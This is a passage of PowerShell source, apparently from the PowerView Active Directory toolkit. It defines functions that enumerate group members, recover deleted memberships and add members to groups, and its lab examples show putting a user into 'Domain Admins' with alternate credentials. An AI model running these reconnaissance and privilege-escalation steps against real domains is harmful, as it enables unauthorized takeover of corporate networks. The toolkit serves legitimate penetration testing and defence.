10598GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10599MemberDomain : testlab.local
10600MemberName : Testing Group
10601MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
10602MemberObjectClass : group
10603MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
10604
10605GroupDomain : testlab.local
10606GroupName : Testing Group
10607GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
10608MemberDomain : testlab.local
10609MemberName : harmj0y
10610MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
10611MemberObjectClass : user
10612MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
10613
10614GroupDomain : testlab.local
10615GroupName : Desktop Admins
10616GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10617MemberDomain : testlab.local
10618MemberName : arobbins.a
10619MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
10620MemberObjectClass : user
10621MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
10622
10623.EXAMPLE
10624
10625Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
10626
10627GroupDomain : testlab.local
10628GroupName : Desktop Admins
10629GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10630MemberDomain : testlab.local
10631MemberName : harmj0y
10632MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
10633MemberObjectClass : user
10634MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
10635
10636GroupDomain : testlab.local
10637GroupName : Desktop Admins
10638GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
10639MemberDomain : testlab.local
10640MemberName : arobbins.a
10641MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
10642MemberObjectClass : user
10643MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
10644
10645.EXAMPLE
10646
10647Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
10648
10649.EXAMPLE
10650
10651'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
10652
10653.EXAMPLE
10654
10655$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
10656$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
10657Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
10658
10659.EXAMPLE
10660
10661Get-Domain | Select-Object -Expand name
10662testlab.local
10663
10664'dev\domain admins' | Get-DomainGroupMember -Verbose
10665VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
10666VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
10667VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
10668VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
10669VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
10670VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
10671
10672GroupDomain : dev.testlab.local
10673GroupName : Domain Admins
10674GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
10675MemberDomain : dev.testlab.local
10676MemberName : user1
10677MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
10678MemberObjectClass : user
10679MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
10680
10681VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
10682VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
10683GroupDomain : dev.testlab.local
10684GroupName : Domain Admins
10685GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
10686MemberDomain : dev.testlab.local
10687MemberName : Administrator
10688MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
10689MemberObjectClass : user
10690MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
10691
10692.OUTPUTS
10693
10694PowerView.GroupMember
10695
10696Custom PSObject with translated group member property fields.
10697
10698.LINK
10699
10700http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
10701#>
10702
10703 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
10704 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
10705 [OutputType('PowerView.GroupMember')]
10706 [CmdletBinding(DefaultParameterSetName = 'None')]
10707 Param(
10708 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
10709 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
10710 [String[]]
10711 $Identity,
10712
10713 [ValidateNotNullOrEmpty()]
10714 [String]
10715 $Domain,
10716
10717 [Parameter(ParameterSetName = 'ManualRecurse')]
10718 [Switch]
10719 $Recurse,
10720
10721 [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
10722 [Switch]
10723 $RecurseUsingMatchingRule,
10724
10725 [ValidateNotNullOrEmpty()]
10726 [Alias('Filter')]
10727 [String]
10728 $LDAPFilter,
10729
10730 [ValidateNotNullOrEmpty()]
10731 [Alias('ADSPath')]
10732 [String]
10733 $SearchBase,
10734
10735 [ValidateNotNullOrEmpty()]
10736 [Alias('DomainController')]
10737 [String]
10738 $Server,
10739
10740 [ValidateSet('Base', 'OneLevel', 'Subtree')]
10741 [String]
10742 $SearchScope = 'Subtree',
10743
10744 [ValidateRange(1, 10000)]
10745 [Int]
10746 $ResultPageSize = 200,
10747
10748 [ValidateRange(1, 10000)]
10749 [Int]
10750 $ServerTimeLimit,
10751
10752 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
10753 [String]
10754 $SecurityMasks,
10755
10756 [Switch]
10757 $Tombstone,
10758
10759 [Management.Automation.PSCredential]
10760 [Management.Automation.CredentialAttribute()]
10761 $Credential = [Management.Automation.PSCredential]::Empty
10762 )
10763
10764 BEGIN {
10765 $SearcherArguments = @{
10766 'Properties' = 'member,samaccountname,distinguishedname'
10767 }
10768 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
10769 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
10770 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
10771 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
10772 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
10773 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
10774 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
10775 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
10776 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
10777
10778 $ADNameArguments = @{}
10779 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
10780 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
10781 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
10782 }
10783
10784 PROCESS {
10785 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10786 if ($GroupSearcher) {
10787 if ($PSBoundParameters['RecurseUsingMatchingRule']) {
10788 $SearcherArguments['Identity'] = $Identity
10789 $SearcherArguments['Raw'] = $True
10790 $Group = Get-DomainGroup @SearcherArguments
10791
10792 if (-not $Group) {
10793 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
10794 }
10795 else {
10796 $GroupFoundName = $Group.properties.item('samaccountname')[0]
10797 $GroupFoundDN = $Group.properties.item('distinguishedname')[0]
10798
10799 if ($PSBoundParameters['Domain']) {
10800 $GroupFoundDomain = $Domain
10801 }
10802 else {
10803 # if a domain isn't passed, try to extract it from the found group distinguished name
10804 if ($GroupFoundDN) {
10805 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
10806 }
10807 }
10808 Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
10809 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
10810 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
10811 $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
10812 }
10813 $Null = $SearcherArguments.Remove('Raw')
10814 }
10815 else {
10816 $IdentityFilter = ''
10817 $Filter = ''
10818 $Identity | Where-Object {$_} | ForEach-Object {
10819 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
10820 if ($IdentityInstance -match '^S-1-') {
10821 $IdentityFilter += "(objectsid=$IdentityInstance)"
10822 }
10823 elseif ($IdentityInstance -match '^CN=') {
10824 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
10825 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
10826 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
10827 # and rebuild the domain searcher
10828 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
10829 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
10830 $SearcherArguments['Domain'] = $IdentityDomain
10831 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10832 if (-not $GroupSearcher) {
10833 Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
10834 }
10835 }
10836 }
10837 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
10838 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
10839 $IdentityFilter += "(objectguid=$GuidByteString)"
10840 }
10841 elseif ($IdentityInstance.Contains('\')) {
10842 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
10843 if ($ConvertedIdentityInstance) {
10844 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
10845 $GroupName = $IdentityInstance.Split('\')[1]
10846 $IdentityFilter += "(samAccountName=$GroupName)"
10847 $SearcherArguments['Domain'] = $GroupDomain
10848 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
10849 $GroupSearcher = Get-DomainSearcher @SearcherArguments
10850 }
10851 }
10852 else {
10853 $IdentityFilter += "(samAccountName=$IdentityInstance)"
10854 }
10855 }
10856
10857 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
10858 $Filter += "(|$IdentityFilter)"
10859 }
10860
10861 if ($PSBoundParameters['LDAPFilter']) {
10862 Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
10863 $Filter += "$LDAPFilter"
10864 }
10865
10866 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
10867 Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
10868 try {
10869 $Result = $GroupSearcher.FindOne()
10870 }
10871 catch {
10872 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
10873 $Members = @()
10874 }
10875
10876 $GroupFoundName = ''
10877 $GroupFoundDN = ''
10878
10879 if ($Result) {
10880 $Members = $Result.properties.item('member')
10881
10882 if ($Members.count -eq 0) {
10883 # ranged searching, thanks @meatballs__ !
10884 $Finished = $False
10885 $Bottom = 0
10886 $Top = 0
10887
10888 while (-not $Finished) {
10889 $Top = $Bottom + 1499
10890 $MemberRange="member;range=$Bottom-$Top"
10891 $Bottom += 1500
10892 $Null = $GroupSearcher.PropertiesToLoad.Clear()
10893 $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
10894 $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
10895 $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
10896
10897 try {
10898 $Result = $GroupSearcher.FindOne()
10899 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
10900 $Members += $Result.Properties.item($RangedProperty)
10901 $GroupFoundName = $Result.properties.item('samaccountname')[0]
10902 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
10903
10904 if ($Members.count -eq 0) {
10905 $Finished = $True
10906 }
10907 }
10908 catch [System.Management.Automation.MethodInvocationException] {
10909 $Finished = $True
10910 }
10911 }
10912 }
10913 else {
10914 $GroupFoundName = $Result.properties.item('samaccountname')[0]
10915 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
10916 $Members += $Result.Properties.item($RangedProperty)
10917 }
10918
10919 if ($PSBoundParameters['Domain']) {
10920 $GroupFoundDomain = $Domain
10921 }
10922 else {
10923 # if a domain isn't passed, try to extract it from the found group distinguished name
10924 if ($GroupFoundDN) {
10925 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
10926 }
10927 }
10928 }
10929 }
10930
10931 ForEach ($Member in $Members) {
10932 if ($Recurse -and $UseMatchingRule) {
10933 $Properties = $_.Properties
10934 }
10935 else {
10936 $ObjectSearcherArguments = $SearcherArguments.Clone()
10937 $ObjectSearcherArguments['Identity'] = $Member
10938 $ObjectSearcherArguments['Raw'] = $True
10939 $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
10940 $Object = Get-DomainObject @ObjectSearcherArguments
10941 $Properties = $Object.Properties
10942 }
10943
10944 if ($Properties) {
10945 $GroupMember = New-Object PSObject
10946 $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
10947 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
10948 $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
10949
10950 if ($Properties.objectsid) {
10951 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
10952 }
10953 else {
10954 $MemberSID = $Null
10955 }
10956
10957 try {
10958 $MemberDN = $Properties.distinguishedname[0]
10959 if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
10960 try {
10961 if (-not $MemberSID) {
10962 $MemberSID = $Properties.cn[0]
10963 }
10964 $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
10965
10966 if ($MemberSimpleName) {
10967 $MemberDomain = $MemberSimpleName.Split('@')[1]
10968 }
10969 else {
10970 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
10971 $MemberDomain = $Null
10972 }
10973 }
10974 catch {
10975 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
10976 $MemberDomain = $Null
10977 }
10978 }
10979 else {
10980 # extract the FQDN from the Distinguished Name
10981 $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
10982 }
10983 }
10984 catch {
10985 $MemberDN = $Null
10986 $MemberDomain = $Null
10987 }
10988
10989 if ($Properties.samaccountname) {
10990 # forest users have the samAccountName set
10991 $MemberName = $Properties.samaccountname[0]
10992 }
10993 else {
10994 # external trust users have a SID, so convert it
10995 try {
10996 $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
10997 }
10998 catch {
10999 # if there's a problem contacting the domain to resolve the SID
11000 $MemberName = $Properties.cn[0]
11001 }
11002 }
11003
11004 if ($Properties.objectclass -match 'computer') {
11005 $MemberObjectClass = 'computer'
11006 }
11007 elseif ($Properties.objectclass -match 'group') {
11008 $MemberObjectClass = 'group'
11009 }
11010 elseif ($Properties.objectclass -match 'user') {
11011 $MemberObjectClass = 'user'
11012 }
11013 else {
11014 $MemberObjectClass = $Null
11015 }
11016 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
11017 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
11018 $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
11019 $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
11020 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
11021 $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
11022 $GroupMember
11023
11024 # if we're doing manual recursion
11025 if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
11026 Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
11027 $SearcherArguments['Identity'] = $MemberDN
11028 $Null = $SearcherArguments.Remove('Properties')
11029 Get-DomainGroupMember @SearcherArguments
11030 }
11031 }
11032 }
11033 $GroupSearcher.dispose()
11034 }
11035 }
11036}
11037
11038
11039function Get-DomainGroupMemberDeleted {
11040<#
11041.SYNOPSIS
11042
11043Returns information on group members that were removed from the specified
11044group identity. Accomplished by searching the linked attribute replication
11045metadata for the group using Get-DomainObjectLinkedAttributeHistory.
11046
11047Author: Will Schroeder (@harmj0y)
11048License: BSD 3-Clause
11049Required Dependencies: Get-DomainObjectLinkedAttributeHistory
11050
11051.DESCRIPTION
11052
11053Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
11054replication metadata for the specified group. These are cases where the
11055'Version' attribute of group member in the replication metadata is even.
11056
11057.PARAMETER Identity
11058
11059A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
11060SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
11061Wildcards accepted.
11062
11063.PARAMETER Domain
11064
11065Specifies the domain to use for the query, defaults to the current domain.
11066
11067.PARAMETER LDAPFilter
11068
11069Specifies an LDAP query string that is used to filter Active Directory objects.
11070
11071.PARAMETER SearchBase
11072
11073The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11074Useful for OU queries.
11075
11076.PARAMETER Server
11077
11078Specifies an Active Directory server (domain controller) to bind to.
11079
11080.PARAMETER SearchScope
11081
11082Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
11083
11084.PARAMETER ResultPageSize
11085
11086Specifies the PageSize to set for the LDAP searcher object.
11087
11088.PARAMETER ServerTimeLimit
11089
11090Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
11091
11092.PARAMETER Tombstone
11093
11094Switch. Specifies that the searcher should also return deleted/tombstoned objects.
11095
11096.PARAMETER Credential
11097
11098A [Management.Automation.PSCredential] object of alternate credentials
11099for connection to the target domain.
11100
11101.EXAMPLE
11102
11103Get-DomainGroupMemberDeleted | Group-Object GroupDN
11104
11105Count Name Group
11106----- ---- -----
11107 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
11108 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
11109
11110.EXAMPLE
11111
11112Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
11113
11114
11115GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
11116MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
11117TimeFirstAdded : 2017-06-13T23:07:43Z
11118TimeDeleted : 2017-06-13T23:26:17Z
11119LastOriginatingChange : 2017-06-13T23:26:17Z
11120TimesAdded : 2
11121LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
11122 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
11123 l
11124
11125GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
11126MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
11127TimeFirstAdded : 2017-06-13T22:20:02Z
11128TimeDeleted : 2017-06-13T23:26:17Z
11129LastOriginatingChange : 2017-06-13T23:26:17Z
11130TimesAdded : 5
11131LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
11132 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
11133 l
11134
11135.OUTPUTS
11136
11137PowerView.DomainGroupMemberDeleted
11138
11139Custom PSObject with translated replication metadata fields.
11140
11141.LINK
11142
11143https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
11144#>
11145
11146 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
11147 [OutputType('PowerView.DomainGroupMemberDeleted')]
11148 [CmdletBinding()]
11149 Param(
11150 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
11151 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
11152 [String[]]
11153 $Identity,
11154
11155 [ValidateNotNullOrEmpty()]
11156 [String]
11157 $Domain,
11158
11159 [ValidateNotNullOrEmpty()]
11160 [Alias('Filter')]
11161 [String]
11162 $LDAPFilter,
11163
11164 [ValidateNotNullOrEmpty()]
11165 [Alias('ADSPath')]
11166 [String]
11167 $SearchBase,
11168
11169 [ValidateNotNullOrEmpty()]
11170 [Alias('DomainController')]
11171 [String]
11172 $Server,
11173
11174 [ValidateSet('Base', 'OneLevel', 'Subtree')]
11175 [String]
11176 $SearchScope = 'Subtree',
11177
11178 [ValidateRange(1, 10000)]
11179 [Int]
11180 $ResultPageSize = 200,
11181
11182 [ValidateRange(1, 10000)]
11183 [Int]
11184 $ServerTimeLimit,
11185
11186 [Switch]
11187 $Tombstone,
11188
11189 [Management.Automation.PSCredential]
11190 [Management.Automation.CredentialAttribute()]
11191 $Credential = [Management.Automation.PSCredential]::Empty,
11192
11193 [Switch]
11194 $Raw
11195 )
11196
11197 BEGIN {
11198 $SearcherArguments = @{
11199 'Properties' = 'msds-replvaluemetadata','distinguishedname'
11200 'Raw' = $True
11201 'LDAPFilter' = '(objectCategory=group)'
11202 }
11203 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
11204 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
11205 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
11206 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
11207 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
11208 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
11209 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
11210 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
11211 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
11212 }
11213
11214 PROCESS {
11215 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
11216
11217 Get-DomainObject @SearcherArguments | ForEach-Object {
11218 $ObjectDN = $_.Properties['distinguishedname'][0]
11219 ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
11220 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
11221 if ($TempObject) {
11222 if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
11223 $Output = New-Object PSObject
11224 $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
11225 $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
11226 $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
11227 $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
11228 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
11229 $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
11230 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
11231 $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
11232 $Output
11233 }
11234 }
11235 else {
11236 Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
11237 }
11238 }
11239 }
11240 }
11241}
11242
11243
11244function Add-DomainGroupMember {
11245<#
11246.SYNOPSIS
11247
11248Adds a domain user (or group) to an existing domain group, assuming
11249appropriate permissions to do so.
11250
11251Author: Will Schroeder (@harmj0y)
11252License: BSD 3-Clause
11253Required Dependencies: Get-PrincipalContext
11254
11255.DESCRIPTION
11256
11257First binds to the specified domain context using Get-PrincipalContext.
11258The bound domain context is then used to search for the specified -GroupIdentity,
11259which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
11260each entry in -Members, each member identity is similarly searched for and added
11261to the group.
11262
11263.PARAMETER Identity
11264
11265A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
11266SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
11267specifying the group to add members to.
11268
11269.PARAMETER Members
11270
11271One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
11272(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
11273or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
11274
11275.PARAMETER Domain
11276
11277Specifies the domain to use to search for user/group principals, defaults to the current domain.
11278
11279.PARAMETER Credential
11280
11281A [Management.Automation.PSCredential] object of alternate credentials
11282for connection to the target domain.
11283
11284.EXAMPLE
11285
11286Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
11287
11288Adds harmj0y to 'Domain Admins' in the current domain.
11289
11290.EXAMPLE
11291
11292$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
11293$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
11294Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
11295
11296Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
11297
11298.EXAMPLE
11299
11300$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
11301$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
11302$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
11303New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
11304
11305Creates the 'andy' user with the specified description and password, using the specified
11306alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
11307and the alternate credentials.
11308
11309.LINK
11310
11311http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
11312#>
11313
11314 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
11315 [CmdletBinding()]
11316 Param(
11317 [Parameter(Position = 0, Mandatory = $True)]
11318 [Alias('GroupName', 'GroupIdentity')]
11319 [String]
11320 $Identity,
11321
11322 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
11323 [Alias('MemberIdentity', 'Member', 'DistinguishedName')]
11324 [String[]]
11325 $Members,
11326
11327 [ValidateNotNullOrEmpty()]
11328 [String]
11329 $Domain,
11330
11331 [Management.Automation.PSCredential]
11332 [Management.Automation.CredentialAttribute()]
11333 $Credential = [Management.Automation.PSCredential]::Empty
11334 )
11335
11336 BEGIN {
11337 $ContextArguments = @{
11338 'Identity' = $Identity
11339 }
11340 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
11341 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
11342
11343 $GroupContext = Get-PrincipalContext @ContextArguments
11344
11345 if ($GroupContext) {
11346 try {
11347 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
11348 }
11349 catch {
11350 Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
11351 }
11352 }
11353 }
11354
11355 PROCESS {
11356 if ($Group) {
11357 ForEach ($Member in $Members) {
11358 if ($Member -match '.+\\.+') {
11359 $ContextArguments['Identity'] = $Member
11360 $UserContext = Get-PrincipalContext @ContextArguments
11361 if ($UserContext) {
11362 $UserIdentity = $UserContext.Identity
11363 }
11364 }
11365 else {
11366 $UserContext = $GroupContext
11367 $UserIdentity = $Member
11368 }
11369 Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
11370 $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
11371 $Group.Members.Add($Member)
